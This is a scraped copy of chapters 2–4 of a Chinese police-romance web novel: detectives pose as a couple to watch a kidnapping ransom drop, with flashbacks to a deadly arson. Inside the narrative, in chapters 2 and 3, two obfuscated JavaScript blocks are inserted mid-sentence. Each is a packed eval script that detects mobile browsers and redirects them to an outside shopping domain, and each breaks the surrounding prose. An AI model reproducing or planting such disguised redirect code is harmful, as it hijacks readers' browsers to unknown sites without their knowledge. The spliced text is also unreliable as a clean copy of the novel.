《马赛克》 2. 第 2 章 温赛飞自顾往侦查楼走,“顺风车。” 马霜痕松一口气,温赛飞虽然会埋汰她,从来不会当众为难她。 “我可不信,小飞哥,怎么会有这么巧的事?我虽然不在重案队了,重案队的瓜可不能不吃。” 花雨剑挤眉弄眼,一脸坏笑,不打算放过温赛飞。 “这话说得好,”温赛飞说,“今早就来了个大的,我没当你离队,你可别吃不了兜着走。” 谁不知道六中队是重案队的御用后勤,花雨剑逃不过,便不挣扎,事关日后顺利开展工作,势必八卦到水落石出。 “小飞哥,你什么时候跟小马认识的?” 温赛飞不着痕迹的一个眼神,昔日搭档立刻了然,讪讪回了声“哦”。 马霜痕和温赛飞必然相识,哪怕不在六年前,只要他当上重案队中队长,迟早会认识。 那年高一寒假伊始,她第一次被骂大头虾,温赛飞刚好在她现在的年纪。 下了班,温赛飞和哥们一起吃宵夜,碰见了另一群小哥们。大多是中学生,因着父母辈关系混个脸熟,都敬他一声小飞哥。 温赛飞坐下没多久,隔离桌有小哥们明显喝高了,一双无辜的小鹿眼泛着泪花,拉着一女孩的连衣裙衣袖哭诉:“珊珊,你别生气好不好?” 那会她还是陌生面孔,抱胸睥睨,臭着一张脸,犀利又美丽,一看就富养宠溺出来的女孩,恃美横行。就冲着那张脸,哪个男人被绿了都得心甘情愿认栽。 温赛飞眼神多停留几秒,哥们便凑过来八卦说小男生正在追那女孩,以前都约不出来,今晚第一次同意跟出来玩。 他追不上。 温赛飞当下笃定,没参与八卦,对这些小屁孩的情情爱爱不感冒。 没多久,隔离桌又传出一条男声:“皮皮虾,做人不能太过分!” 小鹿眼已经趴下,出声的另有其人,一个反戴公牛帽的男生为小鹿眼打抱不平,而皮皮虾竟然还是刚才的女主角珊珊。 “你算老几,皮皮虾也是你叫的?” 女孩嗓音脆生稚嫩,如清泉涤心,配得上那张漂亮面孔。反而花名给人一种荒诞的割裂感。 男生戏谑:“不叫皮皮虾,那就叫濑尿虾!哈哈哈哈!濑尿!” 一桌子人,男的促狭发笑,女的隐忍沉默,没一个出声阻拦。 她倏地站起,掐开公牛帽的嘴,抄过大半瓶啤酒怼进去,跟皮搋子捅马桶一样,精准决绝。 这一幕出其不意,别说同桌的,连温赛飞这桌也看呆了。 同桌的忙拉开两人,闹哄哄间,她的白色长袜给啤酒浇了半湿。 公牛帽怒吼:“你发什么癫啊!” 她有种超龄的冷静,“洗洗你那张臭嘴。” 拳头扬起,但手腕被钳住、压下,公牛帽愕然转头,一改嚣张,舌头打结:“小飞哥。” “大晚上想让我加班啊?” 温赛飞松开人,凉凉瞥了她一眼,后者老实放下酒瓶。 她也早留意到了这位风云人物,自他出现那一刻,在场异性的目光就有意无意粘着他。 温赛飞仪表不凡,虽然才出校门,但年长六七岁,跟身边乳臭未干的幼稚男生自然不一样,职业性质,身上透着沉稳与可靠,对情窦初开的女孩极具吸引力。混在一堆乌烟瘴气的男生里,温赛飞是唯一没抽烟的,跟她爸爸一样,从来不在母女俩面前吞云吐雾。 后来相安无事。 散席时,她又碰到麻烦,小鹿眼喝高了,没法送她回家。周围都是半生不熟的异性,谁送都不合适,她眼神扫了一圈,最后落在温赛飞身上。 警察的职业给他上了一道保险杠,温赛飞成了独一无二的人选。 当然,她连一声小飞哥也没喊过,轮不到她选他。 温赛飞可能一副从警的热心肠,主动走近,口吻闲散:“你怎么回去?” 而后,她在众人暧昧的目光与口哨声里,攀着温赛飞的肩膀,骑上他的机车后座。 路走了近三分之二,温赛飞手机响了,临时路边停车。 一月下旬的冬夜气温骤降,冷得出奇,据说半夜会出现霜冻。她吹了一路,四肢僵硬,走远了点。路灯昏黄,绿化带半枯不绿的草坪荧荧反光,她伸脚轻轻拨了拨,草尖跳出许多剔透颗粒,到处都是霜的痕迹。 温赛飞把她叫过去,“你是不是落下什么东西在烧烤店?” 她不戴手套冻透的手指按了按口袋,一时尴尬。 “钥匙……” 可能打架拉扯掉了。 温赛飞:“改天回去拿行么?” 她双手捧着脸,试图取暖,呆头呆脑点头,“一会翻墙。” 温赛飞面若冰霜,塞好手机,“他们为什么叫你皮皮虾?” 她哆嗦着,“我叫皮皮虾。” 温赛飞左脚撑地,拧着车头瞬间原地掉头,机车后轮在地面磨出半个帅气的圈。 “我看是大头虾。” 当时,温赛飞以为她冻糊涂了,答非所问,第二天才知道,她认真回答了名字。 她叫彭佩珊,口齿不清或念快了确实有点像皮皮虾。 马霜痕跟着前头两位大佬亦步亦趋走向侦查大楼。 几步以外的温赛飞背影高大,还是跟以往一样喜欢穿夹克,宽大洗旧的条纹病号裤极为惹眼,上下行头看似不搭,却因身材出众,平添几分落拓与潇洒。尤其出现在刑警大队这种地方,放眼皆是通宵达旦废寝忘食的男警,个个面带菜色,发如鸡窝,胡子拉碴,一到夏天更是一屋子汗臭炸弹。 刚从医院越狱的温赛飞反而透着一股干净而正常的气息。 一路不乏同事跟温赛飞打招呼,对他的行头见怪不怪,一口一个小飞哥,衬得马霜痕越发像小虾米。 1·15绑架案专案组紧急成立,大队长尚涛任组长,重案队中队长温赛飞为副组长,从全大队抽调警力集中侦办案件。 盐山分局刑警大队只有两个中队,重案队和其他中队。办公室坐了一圈重案队的人,便没了其他中队的位置,哪怕花雨剑这个重案队旧部,也只能站在角落。 案情分析会尚未开始,花雨剑打了一个长长的哈欠,揉脖子扭腰,感慨好久没起这么早。 马霜痕搂着记事本,凑过去叽叽咕咕:“师父,原来小飞哥是重案队中队长啊。” 花雨剑脖子甩得咔嗒响,“重案队有史以来最年轻的中队长。” “为什么还叫他‘小’飞哥?” 马霜痕纳闷,总得有个典故。比如海城人叫北方人捞佬,花雨剑小学随家搬迁到海城被起了花名捞剑。后来他凭着铁拳揍服众人,花名消失一段时间,却因性格猴里猴气,跟马骝一样滑稽搞笑,捞剑一名又重出江湖,赋予了新的正面含义。 “你为什么叫马霜痕?”花雨剑怀疑跟马骝对话,“很少有人用病字旁做名字,辛弃疾和霍去病不算,人家是跟疾病拜拜。” 马霜痕眼底的黯然转瞬即逝,“我的意思是,像你就不会叫小剑哥。他可以叫飞哥啊,人高马大为什么一定要加上‘小’字?过分可爱了。” “哦,小飞哥的确不小。” 花雨剑笑意促狭,刚好被马霜痕冷冷横了一眼,才稍有收敛。 花雨剑嘿嘿笑,有点卖弄情报的自得,如果信息有用,并不惹人恼。 “小飞哥来自警察世家知道吧。” 马霜痕刚想点头,旋即摇头,很捧花雨剑的场。 花雨剑说:“小飞哥还是小屁孩的时候就是哥了,所以大家都这么叫惯了,这可是有典故的,据说啊——” 据说温赛飞刚上小学,有天玩老温下班捎回家的手铐,老温警告可别把自己锁了,他没带钥匙回来。 话没说完,清脆一响,温赛飞把自己铐住了。 老温又气又乐,站家门口等同事路过,挨个打听有没带钥匙,他儿子把自己铐了。 终于,老温刚问到一根钥匙,我们的小飞哥已经搓尖了一张崭新挺括的纸币的一角,捣开了筒铐。 这可把老温急坏了,拷问温赛飞从哪学来的,温赛飞一口咬定纯粹灵光一闪。打那之后,老温对“天赋异禀”的独子分外关注,总担心他把小聪明用在邪门歪道,一路呵护关照,终于将他扶上警察之路,老怀大慰调去了禁毒大队。 说曹操曹操到,温赛飞跟着年过不惑的尚涛走进会议室,屋里倏然鸦雀无声,跟班主任到场的自习课一样。马霜痕也收声,站得笔直笔直。 “人都到齐了?”尚涛像一头狮王,扫视一圈在座面孔,威严又不乏亲和力,“早上六点,辖区派出所上报了一桩绑架案,上级领导要求我们不惜一切代价,抓捕嫌犯,保证人质的安全。所以紧急召集大家来这里,就连我们因公负伤还在病休的小飞哥都回来了。” 尚涛的目光带着认可与欣慰,掌声次第响起,听着不合时宜又无可厚非。 马霜痕腋下夹着记事本鼓掌。 温赛飞抱臂蹙眉,反倒一派习以为常的淡然。 尚涛结束开场白,进入案情分析。 报案人叫朱承育,43岁,离异,做建材生意,儿子朱子白随之一起生活,18岁,职高二年级。 朱子白昨天外出,晚上11点发文字微信给朱承育,说在同学家过夜。朱承育应酬和出差多,经常忙得不着家,朱子白平常跟保姆生活。这几天保姆有事回老家,只剩朱子白一人在家。 儿子大了,夜不归宿的事时有发生,朱承育昨夜喝高了,没太放在心上。 直到早上6点接到一条陌生来电,对方称朱子白在他们手上,今晚在盐山区锦泰城交出200万赎金,敢报警就撕票。朱承育急中生智,让对方给他看看儿子照片,被拒,再问儿子姓名与生日,对方摔了电话。 朱承育立刻联系儿子同学,得知昨晚10点他们在奶茶店分手,各回各家,没有一起过夜。 没多久,又收到短信发来正确的姓名和生日,朱承育才慌慌张张到派出所报警,身上还穿着睡衣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13587998|143157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 专案组分秒必争,立刻划分出数个行动小组,从奶茶店周边以及父子俩的人际关系着手调查,然后尚涛开始布置今晚锦泰城的警力。 年关临近,各大商超不遗余力促销年货,每日活动不断。今晚8点锦泰城中心广场将举办辞旧迎新相关主题活动,届时将降落一场盛大的气球雨,3999只气球从三楼落向一楼,礼券便藏在气球中。 花雨剑不由嘀咕:“又是周五又是年关,人流量铁定巨大,这种活动审批通过的,就不怕发生踩踏事件吗?” 哪知温赛飞长了顺风耳似的,隔了大半个会议室愣是听去了。 “捞剑说得没错,绑匪想必也是想着借人群掩护。锦泰城给出的回复一切符合各项规定,活动如期进行。如果贸然取消,经济损失暂时不提,只会打草惊蛇,让绑匪知道警方已经介入,激怒绑匪对人质没有任何好处。” 尚涛点头道:“小飞捞剑分析得没错。凡事有利有弊,人流有利于我们隐蔽,也给抓捕带来难度。今晚行动需要化妆侦查,融入人群,静观其变,一旦有可疑人物立刻跟指挥组汇报,严禁擅自行动。下面开始分工,由于绑匪还没指定具体交易时间和地点,各区域人员后期还会变动,请大家留意各自耳机通知。” 然后两人一组负责一块区域,角色除了普通顾客,还有流动性比较强的保洁员和外卖员等,服务中心也安排了岗哨,甚至还有超市门口的促销员。 “……大利和捞剑一组,负责负一层超市门口的地铁口区域,大利促销,捞剑保洁。” 蒙大利是一个年轻男警,白净斯文,不像干刑侦的,没有粗犷壮实的花雨剑那般有群众缘。他从警三年铆足劲进了重案队,工作能力可见一斑,刚好替了花雨剑的空位。 蒙大利不禁唔一声,半是疑惑半是不甘。花雨剑听出了嫌弃,不恼反笑,嘿了一声。 大队里谁不知道蒙大利是温赛飞迷弟,入队第一天就不掩饰想重案队,当温赛飞的徒弟。可惜温赛飞一来忙,二来脾气臭,从没贯彻刑侦传统收徒传艺,跟他搭档最久的只有同辈的花雨剑。 困惑的不止蒙大利一人,马霜痕悄悄唤了声师父,“他跟你走,我跟谁走呀?” 花雨剑有自己的琢磨,答非所问:“说反了,我跟他走。咱们养老队什么时候能走到重案队前面了?” 解惑的另有其人。 尚涛说:“小飞带上小马,跟紧人质家属,你们俩……扮个情侣吧。” 会议室窃笑声迭起,有人起哄拍了两下手,有人甚至说太可以了,跟刚才的掌声一样,突兀又情有可原。 马霜痕失态啊了声,但比起她师父,便小巫见大巫。 花雨剑续上早前的大瓜,一头雾水:“什么‘半个情侣’,情侣还有半个的说法?” 马霜痕小声相救:“师父,应该是假扮的扮。” 尚涛直接点名马霜痕,“小马,你有什么想法,还是说不方便跟对象交待?尽量克服一下困难,谁让我们小飞哥太英俊太醒目,在人群里没法低调,我怕其他女人涌上来要微信,骚扰他影响工作。” 马霜痕立刻摇头,叫人琢磨不透回答的是哪个问题。 尚涛刻意忽略另一道目光,隔着乌泱泱的脑袋遥望在场唯一的女警,“小马不用想太多,工作而已,你有对象,我们小飞哥也有。” “小飞哥有对象了?!我怎么不知道?!” 蒙大利竟和花雨剑异口同声。 巧了,温赛飞也刚知道。 他看着比最初记忆里前年长了六岁的女孩,算得上孽缘,又不忍心用“孽”来形容。 天气预报显示,那天是海城市十六年以来最冷的一天,盐山主峰出现雾凇,市区可以观察到霜冻现象。她妈妈叮嘱过她早点回家。 温赛飞骑机车载着16岁的她折返烧烤店取钥匙。一趟路走了两遍,中途不得不加油。 她抱臂站在机车旁,白袜加重了冷感,双腿跟一对冰柱似的。 温赛飞一言不发脱了蓝黑的牛仔夹克递过去。 若不是夹克余温,她恐怕冻得忘记道谢。 她的家是一栋带前院的独栋别墅,铁门上悬两字牌匾:珊庄。如果没有钥匙要不叫醒家人,要不翻墙。 落霜的午夜,门口短短的嘉禾路只有两人一车,机车大灯和路灯不足以明晰他们的表情。 温赛飞推起风镜,往不算太高的围墙挑了眼,“你翻过几次?” 她脱了头盔还他,随意撩了下长发,冻僵的笑容有点俏皮,“你要抓我么?” 温赛飞隔着头盔的嘱咐有点沉闷:“以后大晚上别跟不认识的男人走。” 她瘪了下嘴,不好意思又不太当回事,忽然行了一个不太标准的警礼,“谢了,小飞哥,你真是一个好警察。” 要是过客的缘分就此打住,也不妨是一段短暂而美好的回忆。 “我有意见,”温赛飞抱臂臭着一张脸,剜了尚涛一眼,“我不需要一个网约车都上错的大头虾。” 3. 第 3 章 六中队分到的依然是外围走访的苦活,马霜痕跟花雨剑跑了大半天,收获不佳。 下午二时,第二次案情分析会即将开始,有人在吃红烧牛肉,有人吃老坛酸菜,会议室嗦面声此起彼伏,闹哄哄的,弥漫着一股复杂的泡面味。 马霜痕挑着口味清淡的鸡汤面,胃口寥寥。 花雨剑吃出山珍海味的享受,“小马,没在办公室吃过泡面的刑警不是好刑警,懂不?” 马霜痕挤出一个笑,脸色从早上离开会议室就没好转,故地重游,心情越发难言。 蒙大利也兴致缺缺,“小马,说实话,我还挺羡慕你,还是女警有福气,入队不久就有机会跟小飞哥共事。” 马霜痕怀疑蒙大利缺心眼,哪壶不开提哪壶,“你没听见他有意见?” 蒙大利瘪嘴,“可涛哥说了,任务重要,反对无效。不像我,明明进重案队半年,第一次跟他办同一个案子,连当面说句话的机会也没有。” 花雨剑将泡面汤喝了精光,伸腿靠椅背上,手搭肚子满足长叹,“大利,委屈你了啊,好不容易进了重案队,竟然还要带养老中队的人混。” “捞剑哥,我不是这个意思。”蒙大利本就肤白,一下涨红了脸,跟炒了糖色的猪头似的。 花雨剑跟另一边说:“小马,我跟你说,当众批评算个鸟,搭错车又算个鸟?以前我有一个派出所的哥们,停车忘了拔钥匙,哎哟妈呀,整部车给人开走。够大头虾吧?你跟人家比起来,小巫见大巫,你就当小飞哥放屁。” 马霜痕哭笑不得,“师父,我还得跟人比烂么?” 蒙大利平息了尴尬,才打断师徒俩,“捞剑哥,1·26案是不是有眉目了?” 后面进来坐旁边的男警问了一嘴,“1·26是哪个案子了?” “六年前1月26日,海城十六年来最冷的一天,当晚市区霜冻了,盐山区嘉禾路上姓彭的一家三口没了俩,上高中的小孩好像早恋出来约会,回晚了逃过一劫——” “谁跟你说有眉目了?”花雨剑生硬插嘴,冷酷得有点陌生。 “不然小飞哥怎么会谈恋爱?”蒙大利解释,“大家不是都说,1·26案是小飞哥最放不下的命案积案,案子没破他都不会谈恋爱。” 那男警接一句,“你这么一说,好像确实有这种说法。” “大利,”花雨剑前所未有的严肃,“所有命案积案都是刑警的一块心病,无论是当年办案的退休前辈,还是接手案子的后辈,只要刑警这个岗位还有人,案子总有一天水落石出。流言蜚语听过就算了,别连重案队的都傻乎乎相信。” 蒙大利讪讪低头吃面。 马霜痕的塑料叉子挑着泡面,上上下下涮了好几回汤,嗓音听着有点低血糖反应。 “大利哥,我好奇一下,1·26案子的卷宗,是不是只有重案队的人才有资格看?你是不是也看过呀?” 马霜痕的好奇心正好救场,蒙大利如释重负:“理论上来说,命案积案会交接给每一任重案队队长。” 马霜痕眨眨眼,“也就是说,想要看卷宗,只要经过小飞哥同意?” 蒙大利刚要开口,又给花雨剑截胡,他几乎命令一般,“小马,给师父倒杯水,这破泡面咸死哥了。” 马霜痕见好即收,往花雨剑的泡面碗里瞅了眼,“师父,也没见你省下一点汤啊?” 花雨剑佯怒,瞪她:“废话那么多,还不快去。” 花雨剑虽然每天对马霜痕耳提面命几句,伤害性远不及温赛飞一句“大头虾”。 马霜痕将没吃几口的鸡汤面和花雨剑的空碗叠了,一起端了扔茶水间。 花雨剑起身敲了敲蒙大利的椅背,居高临下道:“大利,记住哥一句话,以后不要在小马面前提1·26案。” 困惑的眼神不止蒙大利的,近处两三个同事也听见了。 花雨剑说:“也别问为什么,就当我这个做师父的拜托大家,谢了。” 那晚还是彭佩珊的她掏钥匙才摸到不属于自己的夹克,转头追出十来米,叫停温赛飞。 午夜,街巷悄然无声,连过路车辆也没有,封锁区似的,落针可闻。 夹克的衣襟刚敞开,露出圣诞红的连衣裙,她身后轰然巨震,一股强烈的气流将她推向温赛飞,直接将他扑翻在地。 温赛飞摔伤了左肩,左小腿给机车压着,痛晕了一瞬,耳鸣不止,她恰好跌进他怀里,没有明显外伤。 刚要爬起,第二声燃爆在耳旁,温赛飞挣扎着翻身,将她护在身下。 两颗脑袋都往同一个方向侧头。 属于彭佩珊的“珊庄”陷入一片火海,映红了半边天,周围充斥刺鼻的异味,空气渐渐变暖,草坪上霜的痕迹慢慢消失。 马霜痕端着两杯水,一路借过回到花雨剑身旁,递过水时,总感觉有一道冷冷的目光。 温赛飞还是早上那套行头,蓝白条纹裤穿出了个性,站在白板边开始案情汇报。 目前找到了朱子白最后出现在天眼里的画面,昨晚10点从奶茶店离开后,他路过地铁站,走向前方一截没有正式通车但已可通行的车道,消失在监控里。技术中队正在排查朱子白进入后两端路口所有通过的车辆。 和朱子白在奶茶店见面的是李绍星,所谓的同学实际是职高学长,21岁,创业多次均失败告终,所幸家里小富,及时填补窟窿,此后大钱不给,只供吃喝,当个阿斗养着。朱子白和李绍星经常一起打台球。 朱承育公司经营状况稳定良好,目前没有发现债主或仇家寻仇的迹象。 自早上发来人质姓名和生日,绑匪再无一点音讯,没催促筹集赎金,没指定具体交易时间和地点。 案子似陷入僵局。 温赛飞扫视众人,“各位还有什么疑问或补充?” 马霜痕一手捧着摊开的记事本,在两个字上打圈,轻轻叫了声师父。 对象? 花雨剑乍一看,以为她给今晚化妆侦查划重点,旋即回过味,示意她自个儿问,上午他俩负责在车道两旁的荒地搜查,人影没见着一个。 马霜痕抬起夹着笔的右手,吸引全场所有目光。 “我想请问,报案人朱承育离异多年,是否有交往对象?” 蒙大利所坐的角落传来窃窃笑意,有人不以为然,有人悄声说别浪费时间。 温赛飞盯住那片,将其杀得鸦雀无声,“大利,你们组负摸排责朱承育社会关系,你来回答。” 蒙大利在座位上开口,“朱承育说没有,一直跟儿子两个人生活。” 马霜痕:“意思是没有固定关系的对象,也就是俗话说的女朋友?” 蒙大利:“没有。” 马霜痕:“关系不固定的对象呢,情人有吗?” 蒙大利:“朱承育经常陪客户应酬,逢场作戏的关系应该是有的。” “应该?” 马霜痕和温赛飞异口同声,在揪关键词上达到空前默契,惹人注目。 蒙大利遭遇双倍质疑,又涨红了脸,“我们粗略排查过朱承育近一年的电子和银行流水,账目繁多,大多对公,特殊节日没有可疑的私人转账或消费记录。” 马霜痕追问:“现金交易?” 蒙大利隐忍已久,终于冒出一点嘲讽的苗头,“小师妹,这年头用现金的人不多了吧?” 马霜痕示意温赛飞:“谢谢,我的问题问完了。” 花雨剑悄悄说:“他警大,你公大,严格来说,你不算他的小师妹。” 马霜痕只能用眼神管管她师父。 温赛飞扬声:“大利,继续深挖朱承育的社会关系,感情纠葛在绑架案里并不罕见,排除也要有证据。其他人还有补充吗?” 蒙大利顿时蔫头蔫脑,赛过早上的大头虾。 会议室里的人如退潮散去,提前到商场踩点,花雨剑和蒙大利一块走人,马霜痕作为在场资历最浅的刑警,没人关心她的去向。 眼看温赛飞也要离开,马霜痕小跑追上去,“小飞哥,涛哥安排我跟你走呢。” 温赛飞目不斜视,“没人绑你腿。” 马霜痕乐津津嘀咕,“真是刀子嘴豆腐心。” 温赛飞上下打量她一道,眼神如刀,停在她的下半|身,“穿这身去?” 马霜痕也低头,再平常不过的春秋警裤,乍一看黑裤黑鞋,在稍内行一点的人面前一秒穿帮,嗅出点体制内的味道,更别说标志性的短发。 小马挨了一鞭子,蹦得更起劲,嘴角压不住,忽地行了一个标准的警礼,“报告小飞哥,我立刻回家换,保证准时到现场。” 温赛飞隔空敲敲她巧丽的鼻尖,“从现在开始,忘掉自己是一个警察,别给我露马脚。” “……” 小马乖巧收手,不,收起“马脚”。 温赛飞不咸不淡问:“又打车回去?” 马霜痕试探:“小飞哥,如果你不介意再捎我一程?” 温赛飞:“车费呢,不是说扫给我?” 马霜痕喜滋滋跟上,“一会双倍给你,或者,我给你开车,小飞哥,你刚出院,该多歇歇。” “马屁精。” “……” 本来只是随口吐槽,温赛飞后知后觉有点微妙,毕竟她现在姓马不姓彭,贴切得令人尴尬。 她的名字总能有一个特别匹配的花名。 一路回到丰田旁边,温赛飞没有扔她一把车钥匙的势头,马霜痕问:“小飞哥,还是我开车吧?” 温赛飞握着车钥匙的右手颤了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13587999|143157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤,不知道因公负伤后遗症,还是纯粹又想敲她。 “我担心我的钥匙。” “……” 好吧,马霜痕是有丢钥匙“前科”的人。 马霜痕拉开车门坐进副驾,像以前坐温赛飞的警车一样。刚系上卡扣,她灵光一闪,略显为难,“小飞哥,我是不是不该坐副驾?” 温赛飞:“要不后备箱?” 马霜痕摊开说:“传说副驾是女朋友专座之类,我坐这,小飞嫂会不会有意见?” “你不说我都忘了……” 今天他温赛飞多了一个女朋友。 马霜痕摸索着要解安全带,“要不我还是坐你后面……” 温赛飞启动丰田,分神瞥她一眼,看陌生人似的,“以前没见过你这么啰嗦。” “以前我还小,现在长大懂事了。” 马霜痕脱口而出,很难说没有赌气成分,谁叫最后一次见面温赛飞就这么嫌弃她。 温赛飞顿了顿,专心开他的车,难得喃喃:“那么记仇。” 霎那的暧|昧带来成倍的沉默,押嫌犯都没这般紧绷。 手机及时响了一声消息提醒,马霜痕和温赛飞不约而同摸向口袋。 “是我的。”马霜痕的屏幕多了一条刚刚的通知,微信内置顶头像红气泡数字+1。 [韩弋:珊珊,起床了吗?我补了会觉,想到晚上跟你一起吃饭就睡不着了。] 马霜痕上滑一截,补完所有新消息。韩弋今早上完夜班还想顺便给她送早餐,又怕吵醒她,又怕挂门口凉了。 她习惯性点语音,“今天加班去不了,改天吧。” “男朋友?”温赛飞冷不丁问。 马霜痕调成免打扰模式,“嗯,他就在市一医院,今年研一。” 温赛飞左手随意搁在蓝白条纹病号裤上,“还以为跟我一样……” 人家的对象如假包换,领导给他发的对象就是空头支票。 马霜痕莞尔,“小飞哥,你这身装备也得换吧?” “路上随便找家商场,”温赛飞话锋一转,“你带家里钥匙没?” 马霜痕拍了一遍冲锋衣的所有口袋,除了一包纸巾,没拍出个名堂。 她镇定道:“正好我也想去商场。” 行头焕然一新,摘去警察与病号标签,马霜痕和温赛飞看起来只是一对颜值出众的年轻男女。温赛飞又恢复成马霜痕记忆中的人模人样,只是多了两年的沉淀,成熟里透着几丝疏离。而马霜痕还欠他一件夹克。 那个霜冻之夜,温赛飞拨通了从警生涯的第一个报警电话,挺着耳鸣描述情况。马霜痕身上的夹克布满泥污和涕泪,失去清洗的意义。后来温赛飞没提醒她还,她也淡忘了一段时间。 晚间6点,锦泰城人流渐多,各哨点警力就位。 朱承育推着一只26寸的行李箱,徘徊在中心广场边,双眼无神,焦灼地等电话。 花雨剑挤不下保洁衣服,临时跟蒙大利调换角色,挂上红围裙成了促销,一手托盘,一手举着插小蛋糕的牙签,频频向众人吆喝。唤了好几声没人接他的牙签,花雨剑便偷偷塞自己嘴里。 尚涛在耳机里厉声道:“捞剑,注意形象。” 花雨剑含着蛋糕口齿不清,“补充能量。” 蒙大利气质瞬间掉了几个档次,弯腰在扶梯口擦扶手,不着痕迹打量路人,顺道剜了眼猪队友。 马霜痕和温赛飞之间有一人宽,时而让没眼力劲的路人穿插而过,人流再急一点,加上拐弯,差点冲散。都是马霜痕小跑追上,温赛飞从没等人的觉悟。 尚涛提醒:“小马,挨紧点你的小飞哥,你俩不熟吗?” 马霜痕摸摸震痛的耳朵,只好向温赛飞挪近一步,不料他开窍了,同时而动,彼此像迫不及待撞一起,目光均带着困惑和少许埋怨。 马霜痕不轻不重揪住温赛飞右手肘附近,打算掣肘他似的。 头顶飘下一句淡嘲:“你跟男朋友逛街也这样?” 马霜痕手里衣服给抽走,正斟酌改哪下手时,右肩压下一点重量,搭上了他的右手腕。他虎口那道疤像一只紧闭的眼睛,默默注视她。 “一会有情况就拍肩,”温赛飞示范道,“拍两下,有情况要注意;用力握,准备行动;手松开,马上跟我跑。懂了吗?” 马霜痕右肩上的力道变化不断,温赛飞的手再度轻搭回来。她点头,右手上勾,自然点两下他的手背,偏头望住他,“这样表示我听到了。” 四目相交,均是一愣。他们举止亲昵,各戴着一只耳机,像情侣分享音乐似的,路人看来毫无破绽。 明明读警校时跟其他男警赤手空拳肉搏,可以建立交付性命的信任,马霜痕向来不拘小节,这一瞬竟有些不自在。 4. 第 4 章 “时间。” 马霜痕抬起左手理理罩住标志短发的毛线帽,手表屏幕设置常亮,温赛飞只要稍垂眼就能读数。 19:35。 默契并不是一蹴而就,他俩也磨合了一小会。 朱承育不知第几次掏出手帕擦汗,大冬天里举止异常。 温赛飞的手还搭在马霜痕肩膀,安安分分,忽然,马霜痕毫无预兆点了他两下。 “小飞哥,我的8点钟方向,墨绿外套女人,一直看我们。” 温赛飞偏头打量,墨绿外套女人演技拙劣地掏出手机,举起手机大半张脸,拍悬在中心广场上方的巨大气球“炸弹”。 “没事,安全。” 马霜痕莫名觉得温赛飞敷衍,趁他不备探头要正面确认,他偏偏不着痕迹挡住,更坐实了嫌疑。 温赛飞只能招了,“我妈。” “……” 那股不自在感如百蚁挠心,马霜痕起了一身鸡皮疙瘩,跟早恋被抓似的。 所幸母子连心,他们似乎达成某种眼神约定,阿姨旋即转身离开。 温赛飞一本正经:“时间。” 马霜痕扯扯嘴角,“你3分钟前刚问过。” 温赛飞:“……” 时间一分一秒流逝,人流摩肩接踵,汇集到中心广场,头顶楼层栏杆上同样围起人墙。 路人借借让让,马霜痕几乎给撞到温赛飞怀里,哪怕他们只停留在最外围。 朱承育紧握着拉杆,一直在他们三四米之外。 主持人巴拉巴拉说了一通,一片乌泱泱的脑袋开始疯狂倒计时。 十,九,八—— 成百上千只手举起,随着节奏摇晃,乍一看便如丧尸出城。 七,六,五,四—— 一身黄色的外卖小哥拎着外卖,骂骂咧咧人多出不去。 三,二,一—— 朱承育颤颤巍巍低头看手机,没有来电。 温赛飞轻拍两下马霜痕肩膀,她立刻回应两下,手没及时放下,虚虚搭在他手背。 朱承育拨下绑匪的号码,今早查明此号号主半年前已离世,没有及时注销。 “您好,您所拔打的号码已关机。” 温赛飞用力握着马霜痕的肩膀,她的指尖搭在他的手背,回应同样的力度,忽略前头的不自在,好像配合多次一般,默契浑然天成。 零—— 兜住3999只气球的网袋豁开一道口,红黄两色气球从天而降,落向广场上成簇高伸的手掌,如油锅撒盐,一派沸腾。 中心广场一片混乱,二楼及以上楼层栏杆边围观的每一个人都俯视一楼,飘荡的气球阻碍视线,很难锁定可以面孔。同样,一楼仰头的人不计其数,警方向上搜寻的目光同样隐蔽其中。 “还没来电话?”马霜痕忍不住自个儿看时间。 “急不来。”话虽如此,温赛飞眉头早拧在一起。 这是放鸽子? 热闹逐渐平息,温赛飞的右手重新回到裤兜,挨着栏杆,马霜痕跟他隔了一人宽,抱臂低头打了一个哈欠。 朱承育已经放倒行李箱,枯坐干等。 按以往办案经验,交易赎金时绑匪会一再临时更换地点,甚至可以重新协商赎金。 夜晚过半,10点后商铺陆续打烊,只有电影的午夜场还在营业,数小时的蹲守一无所获,绑匪方可能发生了一些不可控的事情,人质凶多吉少。 回到大队,专案组重聚会议室,重新梳理线索。 蒙大利组就朱承育的社会关系反馈回新线索,据朱承育秘书反应,其老板经常到一家水色他乡的商务KTV消费,经常点一个叫庞秋怡的陪酒小姐,因为一直用现金消费,从来没在账单上留下记录。 蒙大利把片警从营销经理——也就是所谓的鸡头——那里的高P照片贴到白板上,“优点”非常“突出”。 朱承育后来尴尬承认,说朱秋怡做皮肉生意,他怕哪天落网倒查到他头上,一直都用现金,他从来没带回过家里,没让朱子白知道,毕竟不算光彩,所以觉得跟绑架案没关系就没提。 蒙大利一脸发现重要情报的亢奋,“庞秋怡有个亲哥在水色他乡当保安,叫庞东洋,今天一直旷工,联系不上。庞东洋经常去澳门豪赌,欠了不少钱,他妹妹一直在帮他填窟窿。片警查到庞东洋推荐来消费的客人里有朱子白和李绍星的号码。” 马霜痕瞠目结舌,悄声跟花雨剑吐槽,“朱子白才18岁吧?” 花雨剑见多识广,既无惊讶,也无嘲讽,“十八岁成人礼,懂不?” 